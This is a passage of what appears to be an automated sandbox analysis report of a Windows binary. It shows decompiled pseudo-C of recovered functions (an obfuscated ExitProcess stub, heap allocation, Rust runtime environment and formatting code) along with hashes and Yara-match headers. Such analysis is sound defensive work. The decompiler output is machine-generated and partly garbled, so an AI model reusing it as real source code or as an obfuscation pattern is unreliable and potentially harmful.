FindCloseChangeNotification.KERNEL32(00063172,?,?,?,?,?,?,?,02F409EF), ref: 02F390FA

Memory Dump Source

Source File: 00000004.00000002.619081801.0000000002F20000.00000040.00000010.sdmp, Offset: 02F20000, based on PE: true

Yara matches

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 9411e8551fc63ef0553251f4ae46958ba514df95cf067e6227528f3c3549ca8c
Instruction ID: 94c0e5aef9a91a44463973fd59dc352418c5c0387fe3e7ecb3dfacd1be1ee8cb
Opcode Fuzzy Hash: 9411e8551fc63ef0553251f4ae46958ba514df95cf067e6227528f3c3549ca8c
Instruction Fuzzy Hash: 7F2124B1E0020CEBDF04DFE5C84AAAEBBB2EB51344F10C199E514AA250D7B95B559F90

Uniqueness

Uniqueness Score: -1.00%

Function 02F2F3F7, Relevance: 1.5, APIs: 1, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E02F2F3F7() {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				signed int _t47;

				_v28 = _v28 & 0x00000000;
				_v24 = _v24 & 0x00000000;
				_v36 = 0xb0bfd;
				_v32 = 0x231de0;
				_v20 = 0x822c7a;
				_t47 = 0x31;
				_push(_t47);
				_v20 = _v20 * 0x25;
				_v20 = _v20 ^ 0x12d3a120;
				_v12 = 0x122796;
				_v12 = _v12 | 0x5fffe7f7;
				_v12 = _v12 ^ 0x5ff36a5b;
				_v8 = 0xc53dc4;
				_v8 = _v8 + 0xffff669e;
				_v8 = _v8 + 0xba03;
				_v8 = _v8 + 0x1f9e;
				_v8 = _v8 ^ 0x00c2122b;
				_v16 = 0x5857ad;
				_v16 = _v16 / _t47;
				_v16 = _v16 ^ 0x000b8ebe;
				E02F3E399(_t47, _v16 % _t47, _t47, 0xa2449830, 0x41, 0x9da8748a);
				ExitProcess(0);
			}

0x02f2f3fd
0x02f2f403
0x02f2f407
0x02f2f40e
0x02f2f415
0x02f2f422
0x02f2f423
0x02f2f429
0x02f2f42c
0x02f2f433
0x02f2f43a
0x02f2f441
0x02f2f448
0x02f2f44f
0x02f2f456
0x02f2f45d
0x02f2f464
0x02f2f46b
0x02f2f479
0x02f2f47c
0x02f2f495
0x02f2f49f

APIs

ExitProcess.KERNEL32(00000000), ref: 02F2F49F

Memory Dump Source

Source File: 00000004.00000002.619081801.0000000002F20000.00000040.00000010.sdmp, Offset: 02F20000, based on PE: true

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 03812332bf7814123334a19349d3f4d4ec07a23d3eba325336f5a23eb22f412d
Instruction ID: c063ffb3aeeb6370071e9fdf4f98001964c1c8ed9a1d9c73ce7e8c3c17f01208
Opcode Fuzzy Hash: 03812332bf7814123334a19349d3f4d4ec07a23d3eba325336f5a23eb22f412d
Instruction Fuzzy Hash: B211D6B1E1121DEBDF04DFE4D94A6EEBBB4FB14315F108188E521AA250E7B45B558F80

Uniqueness

Uniqueness Score: -1.00%

Function 6EC02C26, Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,?,?,6EC0283F,00000001,00000364,?,FFFFFFFF,000000FF,?,?,6EBFCB0C,?,?,6EBFC074), ref: 6EC02C67

Memory Dump Source

Source File: 00000004.00000002.665239855.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000004.00000002.664938459.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.669359074.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.673746548.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.674115007.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.674416389.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: e762698950f003c1de2c346658b4b2284e4ca7784f6f5b0d43c57adbabde807d
Instruction ID: 1f7c5e97961acce80f780e0e95c092013b1c9c6291f2e34d3ced6251546db830
Opcode Fuzzy Hash: e762698950f003c1de2c346658b4b2284e4ca7784f6f5b0d43c57adbabde807d
Instruction Fuzzy Hash: 1EF0B431644A256AFBD91AF78924BCB7759AF41660F018552F814A7189FB33DA0182A0

Uniqueness

Uniqueness Score: -1.00%

Function 6EC022E9, Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,6EBFCB0C,?,?,6EBFC074,00000400,FFFDC801,?,?,00000001), ref: 6EC0231B

Memory Dump Source

Source File: 00000004.00000002.665239855.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000004.00000002.664938459.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.669359074.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.673746548.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.674115007.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.674416389.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 425b96ae2c4bf3a2827084c125d574ca3f9cf85e26e93b0a09ccf5758cf6d73e
Instruction ID: 8e5b41ae2bc1e78f84c34fff78126e397289e4958499566a326fbaaf6d4322a8
Opcode Fuzzy Hash: 425b96ae2c4bf3a2827084c125d574ca3f9cf85e26e93b0a09ccf5758cf6d73e
Instruction Fuzzy Hash: 27E065311456269FEA6A16E64D20B9BB65DBF426B5F010520ED5497389FB13C80082A1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6EBED380, Relevance: 26.7, APIs: 14, Strings: 1, Instructions: 445
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 81%

			E6EBED380(signed int __ebx, long* __ecx, signed int __edi, long __esi, char _a8) {
				long _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				signed int _v36;
				long _v40;
				void* _v44;
				void* _v48;
				long _v52;
				signed int _v56;
				void* _v60;
				signed int _v64;
				signed int _v68;
				void* _v72;
				long* _v76;
				signed int _v80;
				signed int _v1096;
				long _v1100;
				void* _v1104;
				void* __ebp;
				void* _t142;
				void* _t143;
				void* _t148;
				signed int _t149;
				intOrPtr _t151;
				void* _t155;
				void* _t157;
				signed int _t158;
				signed int _t160;
				void** _t161;
				void* _t167;
				long _t171;
				signed int _t172;
				long _t173;
				void* _t179;
				void* _t181;
				long _t194;
				signed int _t195;
				signed char _t196;
				signed int _t199;
				signed int _t200;
				signed int _t211;
				signed int _t213;
				signed int _t214;
				void* _t218;
				intOrPtr _t220;
				signed int _t223;
				intOrPtr* _t224;
				intOrPtr _t226;
				signed int _t228;
				char* _t229;
				signed int _t230;
				signed int _t232;
				signed int _t238;
				signed int _t241;
				signed int _t242;
				WCHAR* _t247;
				long _t248;
				signed int _t249;
				signed int _t252;
				char* _t264;
				void* _t265;
				void* _t267;
				void* _t268;
				signed char* _t273;
				signed int _t274;
				void* _t280;
				intOrPtr _t281;

				_t262 = __esi;
				_t245 = __edi;
				_t192 = __ebx;
				_push(__ebx);
				_push(__edi);
				_push(__esi);
				_t281 = _t280 - 0x440;
				_v32 = _t281;
				_v20 = 0xffffffff;
				_v24 = E6EBF39D0;
				_v76 = __ecx;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				_t142 =  *0x6ec3e128; // 0x2ff0000
				if(_t142 != 0) {
					L3:
					_t143 = HeapAlloc(_t142, 0, 0xa);
					if(_t143 == 0) {
						goto L94;
					} else {
						_t264 = "UST_BACKTRACE";
						_t241 = 1;
						_t211 = 0;
						 *_t143 = 0x52;
						_v1104 = _t143;
						_v1100 = 5;
						_v1096 = 1;
						_v44 = 0;
						while(1) {
							_v36 = _t211;
							if(_t211 == 0) {
								goto L10;
							}
							_v44 = 0;
							_t211 = 0;
							if(_t241 != _v1100) {
								L6:
								_t245 = _v36;
								 *((short*)(_t143 + _t241 * 2)) = _v36;
								_t241 = _t241 + 1;
								_v1096 = _t241;
								continue;
							} else {
								L13:
								_v40 = _t264;
								_v20 = 0;
								_v48 = _t241;
								_t188 =  <  ? 0xffffffff : "RUST_BACKTRACE" - _t264 + 0x11;
								_t189 = ( <  ? 0xffffffff : "RUST_BACKTRACE" - _t264 + 0x11) >> 2;
								asm("sbb eax, 0x0");
								_t190 = (( <  ? 0xffffffff : "RUST_BACKTRACE" - _t264 + 0x11) >> 2) + 2;
								E6EC09A30( &_v1104, _t241, (( <  ? 0xffffffff : "RUST_BACKTRACE" - _t264 + 0x11) >> 2) + 2);
								_t281 = _t281 + 4;
								_t143 = _v1104;
								_t241 = _v48;
								_t264 = _v40;
								_t211 = _v44;
								goto L6;
							}
							L10:
							__eflags = _t264 - 0x6ec2face;
							if(_t264 != 0x6ec2face) {
								_t196 =  *_t264 & 0x000000ff;
								_t229 =  &(_t264[1]);
								_t249 = _t196 & 0x000000ff;
								__eflags = _t196;
								if(_t196 < 0) {
									_v36 = _t249 & 0x0000001f;
									__eflags = _t229 - 0x6ec2face;
									if(_t229 == 0x6ec2face) {
										_t230 = 0;
										__eflags = _t196 - 0xdf;
										_t252 = 0;
										_v40 = 0x6ec2face;
										if(_t196 > 0xdf) {
											goto L25;
										} else {
											_v36 = _v36 << 6;
											_t264 = 0x6ec2face;
											_t211 = 0;
											__eflags = _t241 - _v1100;
											if(_t241 != _v1100) {
												goto L6;
											} else {
												goto L13;
											}
										}
									} else {
										_t238 = _t264[1] & 0x000000ff;
										_t264 =  &(_t264[2]);
										_t230 = _t238 & 0x0000003f;
										__eflags = _t196 - 0xdf;
										if(_t196 <= 0xdf) {
											_t199 = _v36 << 0x00000006 | _t230;
											__eflags = _t199 - 0xffff;
											if(_t199 > 0xffff) {
												goto L32;
											} else {
												goto L22;
											}
										} else {
											__eflags = _t264 - 0x6ec2face;
											if(_t264 == 0x6ec2face) {
												_t252 = 0;
												__eflags = 0;
												_v40 = 0x6ec2face;
											} else {
												_v40 =  &(_t264[1]);
												_t252 =  *_t264 & 0x3f;
											}
											L25:
											_t232 = _t230 << 0x00000006 | _t252;
											__eflags = _t196 - 0xf0;
											if(_t196 < 0xf0) {
												_t199 = _v36 << 0x0000000c | _t232;
												_t264 = _v40;
												__eflags = _t199 - 0xffff;
												if(_t199 > 0xffff) {
													goto L32;
												} else {
													goto L22;
												}
											} else {
												_t273 = _v40;
												__eflags = _t273 - 0x6ec2face;
												if(_t273 == 0x6ec2face) {
													_t274 = 0;
													__eflags = 0;
													_v40 = 0x6ec2face;
												} else {
													_v40 =  &(_t273[1]);
													_t274 =  *_t273 & 0x3f;
												}
												_t199 = _t232 << 0x00000006 | (_v36 & 0x00000007) << 0x00000012 | _t274;
												_t264 = _v40;
												__eflags = _t199 - 0xffff;
												if(_t199 <= 0xffff) {
													L22:
													_v36 = _t199;
													_t211 = 0;
													__eflags = _t241 - _v1100;
													if(_t241 != _v1100) {
														goto L6;
													} else {
														goto L13;
													}
												} else {
													L32:
													_t200 = _t199 + 0xffff0000;
													_v40 = _t264;
													_v36 = _t200 >> 0x0000000a | 0x0000d800;
													_t264 = _v40;
													_t211 = _t200 & 0x000003ff | 0x0000dc00;
													_v44 = _t211;
													__eflags = _t241 - _v1100;
													if(_t241 != _v1100) {
														goto L6;
													} else {
														goto L13;
													}
												}
											}
										}
									}
								} else {
									_t264 = _t229;
									_v36 = _t249;
									_t211 = 0;
									__eflags = _t241 - _v1100;
									if(_t241 != _v1100) {
										goto L6;
									} else {
										goto L13;
									}
								}
								goto L96;
							}
							_t242 = _v1096;
							asm("movsd xmm0, [ebp-0x44c]");
							_v64 = _t242;
							asm("movsd [ebp-0x44], xmm0");
							__eflags = _t242 - 8;
							_t213 = _t242;
							_t148 = _v72;
							_t265 = _t148;
							if(_t242 < 8) {
								L45:
								_t214 = _t213 + _t213;
								asm("o16 nop [cs:eax+eax]");
								while(1) {
									__eflags = _t214;
									if(_t214 == 0) {
										break;
									}
									_t214 = _t214 + 0xfffffffe;
									__eflags =  *_t265;
									_t265 = _t265 + 2;
									if(__eflags != 0) {
										continue;
									} else {
										goto L48;
									}
									goto L96;
								}
								__eflags = _t242 - _v68;
								if(_t242 == _v68) {
									_v20 = 1;
									E6EC09A30( &_v72, _t242, 1);
									_t281 = _t281 + 4;
									_t148 = _v72;
									_t242 = _v64;
								}
								 *((short*)(_t148 + _t242 * 2)) = 0;
								asm("movsd xmm0, [ebp-0x44]");
								asm("movsd [ebp-0x38], xmm0");
								_t149 = _v60;
								__eflags = _t149;
								_v36 = _t149;
								if(_t149 == 0) {
									goto L75;
								} else {
									_v80 = _v56;
									E6EBFE9D0(_t245,  &_v1104, 0, 0x400);
									_t281 = _t281 + 0xc;
									_t155 =  *0x6ec2f8cc; // 0x2
									_t194 = 0x200;
									_t262 = 0;
									_v60 = _t155;
									_v56 = 0;
									_v48 = _t155;
									_v52 = 0;
									__eflags = 0x200 - 0x201;
									if(0x200 >= 0x201) {
										L65:
										_t157 = _t194 - _t262;
										__eflags = _v56 - _t262 - _t157;
										if(_v56 - _t262 < _t157) {
											_v44 = _t194;
											_v20 = 5;
											E6EC09A30( &_v60, _t262, _t157);
											_t281 = _t281 + 4;
											_t194 = _v44;
											_v48 = _v60;
										}
										_t247 = _v48;
										_t262 = _t194;
										_v52 = _t194;
										_v40 = _t194;
									} else {
										L68:
										_t247 =  &_v1104;
										_v40 = 0x200;
									}
									L69:
									_v44 = _t247;
									SetLastError(0);
									_t158 = GetEnvironmentVariableW(_v36, _t247, _t194);
									_t245 = _t158;
									__eflags = _t158;
									if(_t158 != 0) {
										L71:
										__eflags = _t245 - _t194;
										if(_t245 != _t194) {
											L63:
											__eflags = _t245 - _t194;
											_t192 = _t245;
											if(_t245 < _t194) {
												_t239 = _v40;
												_v20 = 5;
												__eflags = _t245 - _v40;
												if(__eflags > 0) {
													goto L95;
												} else {
													_push(_t245);
													E6EBF0D10(_t192,  &_v72, _v44, _t245, _t262);
													_t281 = _t281 + 4;
													_t218 = _v72;
													_t248 = _v68;
													_t262 = _v64;
													_t195 = 0;
													_t160 = _v56;
													__eflags = _t160;
													if(_t160 != 0) {
														goto L81;
													} else {
													}
													goto L84;
												}
											} else {
												__eflags = _t192 - 0x201;
												if(_t192 < 0x201) {
													goto L68;
												} else {
													goto L65;
												}
												goto L69;
											}
										} else {
											_t171 = GetLastError();
											__eflags = _t171 - 0x7a;
											if(_t171 != 0x7a) {
												goto L63;
											} else {
												_t194 = _t194 + _t194;
												__eflags = _t194 - 0x201;
												if(_t194 < 0x201) {
													goto L68;
												} else {
													goto L65;
												}
												goto L69;
											}
										}
									} else {
										_t172 = GetLastError();
										__eflags = _t172;
										if(_t172 != 0) {
											_t195 = 1;
											_t173 = GetLastError();
											_t218 = 0;
											_t248 = _t173;
											_t160 = _v56;
											__eflags = _t160;
											if(_t160 != 0) {
												L81:
												__eflags = _v48;
												if(_v48 != 0) {
													__eflags = _t160 & 0x7fffffff;
													if((_t160 & 0x7fffffff) != 0) {
														_v44 = _t218;
														HeapFree( *0x6ec3e128, 0, _v48);
														_t218 = _v44;
													}
												}
											}
											L84:
											__eflags = _t195;
											if(_t195 == 0) {
												_t161 = _v76;
												 *_t161 = _t218;
												_t161[1] = _t248;
												_t161[2] = _t262;
											} else {
												__eflags = _t218 - 3;
												 *_v76 = 0;
												if(_t218 == 3) {
													_v20 = 4;
													_v44 = _t248;
													 *((intOrPtr*)( *((intOrPtr*)(_t248 + 4))))( *_t248);
													_t281 = _t281 + 4;
													_t267 = _v44;
													_t220 =  *((intOrPtr*)(_t267 + 4));
													__eflags =  *(_t220 + 4);
													if( *(_t220 + 4) != 0) {
														_t167 =  *_t267;
														__eflags =  *((intOrPtr*)(_t220 + 8)) - 9;
														if( *((intOrPtr*)(_t220 + 8)) >= 9) {
															_t167 =  *(_t167 - 4);
														}
														HeapFree( *0x6ec3e128, 0, _t167);
													}
													HeapFree( *0x6ec3e128, 0, _t267);
												}
											}
											__eflags = _v80 & 0x7fffffff;
											if((_v80 & 0x7fffffff) != 0) {
												HeapFree( *0x6ec3e128, 0, _v36);
											}
											goto L76;
										} else {
											goto L71;
										}
									}
								}
							} else {
								_t228 = _t242;
								_t268 = _t148;
								while(1) {
									__eflags =  *_t268;
									if( *_t268 == 0) {
										break;
									}
									__eflags =  *((short*)(_t268 + 2));
									if( *((short*)(_t268 + 2)) == 0) {
										break;
									} else {
										__eflags =  *((short*)(_t268 + 4));
										if( *((short*)(_t268 + 4)) == 0) {
											break;
										} else {
											__eflags =  *((short*)(_t268 + 6));
											if( *((short*)(_t268 + 6)) == 0) {
												break;
											} else {
												__eflags =  *((short*)(_t268 + 8));
												if( *((short*)(_t268 + 8)) == 0) {
													break;
												} else {
													__eflags =  *((short*)(_t268 + 0xa));
													if( *((short*)(_t268 + 0xa)) == 0) {
														break;
													} else {
														__eflags =  *((short*)(_t268 + 0xc));
														if( *((short*)(_t268 + 0xc)) == 0) {
															break;
														} else {
															__eflags =  *((short*)(_t268 + 0xe));
															if( *((short*)(_t268 + 0xe)) == 0) {
																break;
															} else {
																_t228 = _t228 + 0xfffffff8;
																_t268 = _t268 + 0x10;
																__eflags = _t228 - 7;
																if(_t228 > 7) {
																	continue;
																} else {
																	goto L45;
																}
															}
														}
													}
												}
											}
										}
									}
									goto L96;
								}
								L48:
								_t223 = _v68;
								_v56 = 0x6ec306d8;
								_v60 = 0x1402;
								__eflags = _t223;
								if(_t223 != 0) {
									__eflags = _t148;
									if(_t148 != 0) {
										__eflags = _t223 & 0x7fffffff;
										if((_t223 & 0x7fffffff) != 0) {
											HeapFree( *0x6ec3e128, 0, _t148);
										}
									}
								}
								__eflags = _v60 - 3;
								if(_v60 == 3) {
									_t224 = _v56;
									_v36 = _t224;
									_t70 = _t224 + 4; // 0x2c
									_v20 = 2;
									 *((intOrPtr*)( *_t70))( *_t224);
									_t281 = _t281 + 4;
									_t179 = _v36;
									_t226 =  *((intOrPtr*)(_t179 + 4));
									__eflags =  *(_t226 + 4);
									if( *(_t226 + 4) != 0) {
										_t181 =  *_t179;
										__eflags =  *((intOrPtr*)(_t226 + 8)) - 9;
										if( *((intOrPtr*)(_t226 + 8)) >= 9) {
											_t181 =  *(_t181 - 4);
										}
										HeapFree( *0x6ec3e128, 0, _t181);
										_t179 = _v56;
									}
									HeapFree( *0x6ec3e128, 0, _t179);
								}
								L75:
								 *_v76 = 0;
								L76:
								_t151 = _v28;
								 *[fs:0x0] = _t151;
								return _t151;
							}
							goto L96;
						}
					}
				} else {
					_t142 = GetProcessHeap();
					if(_t142 == 0) {
						L94:
						_t239 = 2;
						E6EC092F0(_t192, 0xa, 2, _t245, _t262, __eflags);
						asm("ud2");
						L95:
						E6EC09470(_t192, _t245, _t239, _t245, _t262, __eflags, 0x6ec306e0);
						asm("ud2");
						__eflags =  &_a8;
						E6EBE48D0( *_v44,  *((intOrPtr*)(_v44 + 4)));
						return E6EBED270(_t263);
					} else {
						 *0x6ec3e128 = _t142;
						goto L3;
					}
				}
				L96:
			}

APIs

GetProcessHeap.KERNEL32 ref: 6EBED3BC
HeapAlloc.KERNEL32(02FF0000,00000000,0000000A), ref: 6EBED3D3

Strings

RUST_BACKTRACE, xrefs: 6EBED48A, 6EBED4C0

Memory Dump Source

Source File: 00000004.00000002.665239855.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000004.00000002.664938459.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.669359074.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.673746548.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.674115007.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.674416389.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocProcess
String ID: RUST_BACKTRACE
API String ID: 1617791916-3454309823
Opcode ID: e904975876588d02c8605357217324ed664ad415ed1596d42c7db9a9b8f9654f
Instruction ID: 02666cb52d6be35ed9e8b2534bf5d538e9e5fb44b349514f6091f4ecbfbbad9c
Opcode Fuzzy Hash: e904975876588d02c8605357217324ed664ad415ed1596d42c7db9a9b8f9654f
Instruction Fuzzy Hash: 5B02BCB1E002588FDB10CFE8E9907DDBBB1EF89354F144129E419B7A90D7B1A885CF95

Uniqueness

Uniqueness Score: -1.00%

Function 6EBE75F4, Relevance: 10.9, APIs: 2, Strings: 4, Instructions: 423
COMMONCrypto

Download Yara Rule

C-Code - Quality: 81%

			E6EBE75F4(signed int __ecx, void* __eflags) {
				intOrPtr _t127;
				signed int _t129;
				signed int _t130;
				signed int _t131;
				signed int _t133;
				void* _t134;
				intOrPtr* _t136;
				intOrPtr* _t138;
				intOrPtr* _t140;
				intOrPtr* _t150;
				intOrPtr* _t153;
				intOrPtr* _t154;
				signed int* _t155;
				signed int _t157;
				signed int _t158;
				signed int _t162;
				signed int _t164;
				signed int _t165;
				signed int _t167;
				signed int _t170;
				signed int _t171;
				void* _t173;
				void* _t175;
				signed int _t176;
				signed int _t180;
				signed int _t181;
				signed int _t183;
				signed int _t184;
				signed int _t196;
				void* _t198;
				void* _t200;
				signed char _t201;
				signed int* _t203;
				signed char _t204;
				signed int _t207;
				signed char _t208;
				intOrPtr _t212;
				signed int _t215;
				signed int _t216;
				signed int _t218;
				char* _t220;
				char* _t221;
				signed int _t222;
				signed int _t225;
				signed int _t226;
				signed int _t238;
				signed int _t239;
				signed int _t241;
				signed int _t245;
				intOrPtr _t250;
				signed char _t251;
				signed int _t258;
				intOrPtr _t268;
				unsigned int _t273;
				void* _t281;
				char* _t282;
				signed short _t286;
				signed int _t288;
				signed int _t290;
				signed int _t291;
				signed int _t292;
				char* _t295;
				signed int _t303;
				signed int _t307;
				void* _t308;
				void* _t311;
				void* _t312;
				signed int* _t313;
				void* _t316;

				_pop(_t127);
				if(__eflags != 0) {
					 *((intOrPtr*)(_t308 + 0x10)) = _t250;
					_t251 =  *(__ecx + 4);
					 *((intOrPtr*)(_t308 + 0x14)) = _t127;
					 *(_t308 + 4) = __ecx;
					__eflags = _t251;
					if(_t251 == 0) {
						L19:
						_t288 =  *(_t308 + 4);
						_t214 =  *(_t288 + 0x14);
						__eflags =  *(_t288 + 0x14);
						if( *(_t288 + 0x14) == 0) {
							L21:
							 *_t288 = 1;
							goto L22;
						} else {
							_push(0x10);
							_t129 = E6EBE1C10(_t214,  &M6EC2F395);
							_t215 = 1;
							__eflags = _t129;
							if(_t129 == 0) {
								goto L21;
							}
						}
						goto L23;
					} else {
						_t130 =  *(_t308 + 4);
						_t216 =  *(_t130 + 0xc);
						_t131 =  *(_t130 + 8);
						__eflags = _t216 - _t131;
						 *(_t308 + 0xc) = _t216;
						 *(_t308 + 8) = _t131;
						if(_t216 < _t131) {
							_t290 =  *(_t308 + 4);
							_t279 = 0xffffffff;
							_t133 =  *(_t308 + 0xc) + 1;
							__eflags = _t133;
							_t218 =  ~( *(_t308 + 8));
							while(1) {
								__eflags = _t218 + _t133 - 1;
								if(_t218 + _t133 == 1) {
									goto L19;
								}
								_t196 =  *(_t251 + _t133 - 1) & 0x000000ff;
								 *(_t290 + 0xc) = _t133;
								_t133 = _t133 + 1;
								_t279 = _t279 + 1;
								_t198 = _t196 + 0xd0;
								__eflags = _t198 - 0xa;
								if(_t198 < 0xa) {
									continue;
								} else {
									_t200 = _t198 + 0x9f;
									__eflags = _t200 - 6;
									if(_t200 < 6) {
										continue;
									} else {
										__eflags = _t200 - 0x5f;
										if(_t200 != 0x5f) {
											goto L19;
										} else {
											_t291 =  *(_t308 + 0xc);
											_t134 = _t133 + 0xfffffffe;
											_t201 = _t251;
											__eflags = _t134 - _t291;
											if(_t134 < _t291) {
												L38:
												E6EC09620(_t201,  *(_t308 + 8), _t291, _t134, 0x6ec2f33c);
												_t311 = _t308 + 0xc;
												asm("ud2");
												goto L39;
											} else {
												__eflags = _t291;
												if(_t291 == 0) {
													L13:
													_t209 = _t201 + _t291;
													_t268 = _t308 + 0x18;
													 *((intOrPtr*)(_t308 + 0x18)) = _t201 + _t291;
													 *(_t308 + 0x1c) = _t279;
													E6EBE8560(_t308 + 0x20, _t268);
													__eflags =  *(_t308 + 0x20);
													if( *(_t308 + 0x20) == 0) {
														_t291 =  *( *(_t308 + 4) + 0x14);
														__eflags = _t291;
														if(_t291 == 0) {
															goto L22;
														} else {
															_push(2);
															_t180 = E6EBE1C10(_t291, 0x6ec2f427);
															_t316 = _t308 + 4;
															_t215 = 1;
															__eflags = _t180;
															if(_t180 != 0) {
																goto L23;
															} else {
																_push(_t279);
																_t181 = E6EBE1C10(_t291, _t209);
																_t215 = 1;
																_t311 = _t316 + 4;
																goto L34;
															}
														}
													} else {
														_t183 =  *( *(_t308 + 4) + 0x14);
														__eflags = _t183;
														if(_t183 == 0) {
															goto L22;
														} else {
															 *(_t308 + 8) = _t183;
															_t212 =  *((intOrPtr*)(_t308 + 0x2c));
															_t184 =  *(_t308 + 0x28);
															__eflags = _t184 - 0x2710;
															asm("sbb ecx, 0x0");
															if(_t184 < 0x2710) {
																_t238 = 0x27;
															} else {
																_t241 = 0x27;
																asm("o16 nop [cs:eax+eax]");
																do {
																	 *(_t308 + 4) = _t241;
																	 *(_t308 + 0xc) = _t184;
																	_t286 = E6EBFC5D0(_t184, _t212, 0x2710, 0);
																	_t184 = E6EBFC650(_t184, _t212, 0x2710, 0);
																	_t245 = ((_t286 & 0x0000ffff) >> 2) * 0x147b >> 0x11;
																	__eflags = 0x5f5e0ff -  *(_t308 + 0xc);
																	asm("sbb esi, ebx");
																	_t303 =  *(_t308 + 4);
																	_t212 = _t268;
																	 *((short*)(_t308 + _t303 + 0x31)) =  *(_t245 + _t245 + "00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899") & 0x0000ffff;
																	 *((short*)(_t308 + _t303 + 0x33)) =  *((_t286 - _t245 * 0x00000064 & 0x0000ffff) + (_t286 - _t245 * 0x00000064 & 0x0000ffff) + "00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899") & 0x0000ffff;
																	_t241 = _t303 - 4;
																} while (0x5f5e0ff <  *(_t308 + 0xc));
															}
															_t279 =  *(_t308 + 8);
															__eflags = _t184 - 0x63;
															if(_t184 > 0x63) {
																_t273 = _t184 & 0x0000ffff;
																_t184 = (_t273 >> 2) * 0x147b >> 0x11;
																 *((short*)(_t308 + _t238 + 0x33)) =  *((_t273 - _t184 * 0x00000064 & 0x0000ffff) + (_t273 - _t184 * 0x00000064 & 0x0000ffff) + "00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899") & 0x0000ffff;
																_t238 = _t238 + 0xfffffffe;
																__eflags = _t238;
															}
															__eflags = _t184 - 0xa;
															if(_t184 >= 0xa) {
																 *((short*)(_t308 + _t238 + 0x33)) =  *(_t184 + _t184 + "00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899") & 0x0000ffff;
																_t239 = _t238 + 0xfffffffe;
																__eflags = _t239;
															} else {
																 *((char*)(_t308 + _t238 + 0x34)) = _t184 + 0x30;
																_t239 = _t238 - 1;
															}
															__eflags = 0x27;
															_push(0x27 - _t239);
															_t291 = _t279;
															_push(_t308 + _t239 + 0x35);
															_push(0);
															_t181 = E6EBE18D0(_t279, 0x6ec2f570);
															_t311 = _t308 + 0xc;
															_t215 = 1;
															L34:
															__eflags = _t181;
															if(_t181 != 0) {
																goto L23;
															} else {
																__eflags =  *_t291 & 0x00000004;
																if(( *_t291 & 0x00000004) != 0) {
																	goto L22;
																} else {
																	_t201 =  *((intOrPtr*)(_t311 + 0x10)) + 0x9f;
																	__eflags = _t201 - 0x19;
																	if(__eflags <= 0) {
																		_t279 = _t201 & 0x000000ff;
																		_t134 = 4;
																		_t201 =  *((intOrPtr*)(_t311 + 0x14)) +  *((intOrPtr*)(0x6ebe79d8 + (_t201 & 0x000000ff) * 4));
																		goto __ebx;
																	}
																	L39:
																	_t220 = "called `Option::unwrap()` on a `None` value";
																	_t136 = E6EC094E0(_t201, _t220, 0x2b, _t279, _t291, __eflags, 0x6ec2f42c);
																	_t312 = _t311 + 4;
																	asm("ud2");
																	asm("stosb");
																	 *((intOrPtr*)(_t220 - 0x46fffffd)) =  *((intOrPtr*)(_t220 - 0x46fffffd)) + _t201;
																	_t138 = _t136 +  *_t136 +  *((intOrPtr*)(_t136 +  *_t136));
																	_t140 = _t138 +  *_t138 +  *((intOrPtr*)(_t138 +  *_t138));
																	_t221 =  &(_t220[_t140]);
																	_t203 = _t201 + _t138 + _t201 + _t138;
																	 *_t291 =  *_t291 + _t221;
																	 *0x2b =  *0x2b + _t203;
